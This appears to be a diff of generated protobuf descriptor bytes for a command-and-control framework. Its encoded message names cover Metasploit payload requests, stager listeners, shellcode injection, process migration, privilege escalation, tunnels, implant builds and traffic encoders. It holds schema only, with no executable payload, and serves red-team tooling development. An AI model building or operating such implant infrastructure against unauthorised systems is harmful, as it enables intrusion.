- 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64,
- 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73,
- 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f,
- 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20,
- 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52,
- 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22,
- 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71,
- 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48,
- 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74,
- 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52,
- 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65,
- 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
- 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05,
- 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73,
- 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50,
- 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20,
- 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52,
- 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22,
- 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
- 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f,
- 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c,
- 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f,
- 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12,
- 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f,
- 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c,
- 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05,
- 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65,
- 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04,
- 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45,
- 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18,
- 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61,
- 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68,
- 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a,
- 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74,
- 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d,
- 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f,
- 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e,
- 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65,
- 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65,
- 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x8f, 0x02, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53,
- 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68,
- 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06,
- 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f,
- 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74,
- 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02,
- 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08,
- 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50,
- 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f,
- 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20,
- 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a,
- 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a,
- 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d,
- 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43,
- 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66,
- 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01,
+ 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61,
+ 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49,
+ 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57,
+ 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
+ 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12,
+ 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01,
+ 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a,
+ 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54,
+ 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69,
+ 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45,
+ 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63,
+ 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64,
+ 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65,
+ 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e,
+ 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05,
+ 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72,
+ 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74,
+ 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
+ 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65,
+ 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74,
+ 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08,
+ 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08,
+ 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18,
+ 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61,
+ 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70,
+ 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e,
+ 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e,
+ 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e,
+ 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32,
+ 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63,
+ 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73,
+ 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74,
+ 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c,
+ 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61,
+ 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f,
+ 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0xa6, 0x01, 0x0a, 0x15, 0x45, 0x78, 0x74,
+ 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66,
+ 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e,
+ 0x66, 0x69, 0x67, 0x12, 0x2c, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01,
+ 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c,
+ 0x64, 0x12, 0x2e, 0x0a, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x18, 0x03, 0x20, 0x01, 0x28,
+ 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54,
+ 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43,
+ 0x32, 0x22, 0x77, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70,
+ 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61,
+ 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x26,
+ 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42,
+ 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03,
0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
- 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa8, 0x01, 0x0a, 0x0c, 0x47,
- 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48,
- 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63,
- 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20,
- 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49,
- 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f,
- 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75,
- 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
- 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65,
- 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xc6, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74,
- 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
+ 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xbe, 0x03, 0x0a, 0x0d, 0x49,
+ 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07,
+ 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
+ 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e,
+ 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x4a, 0x0a, 0x0b,
+ 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28,
+ 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70,
+ 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75,
+ 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x52, 0x65, 0x73,
+ 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x12, 0x3b, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x67,
+ 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64,
+ 0x73, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x06, 0x73,
+ 0x74, 0x61, 0x67, 0x65, 0x64, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73,
+ 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52,
- 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64,
- 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63,
- 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d,
- 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01,
- 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
- 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e,
- 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65,
- 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01,
- 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
- 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c,
- 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c,
- 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08,
- 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02,
- 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e,
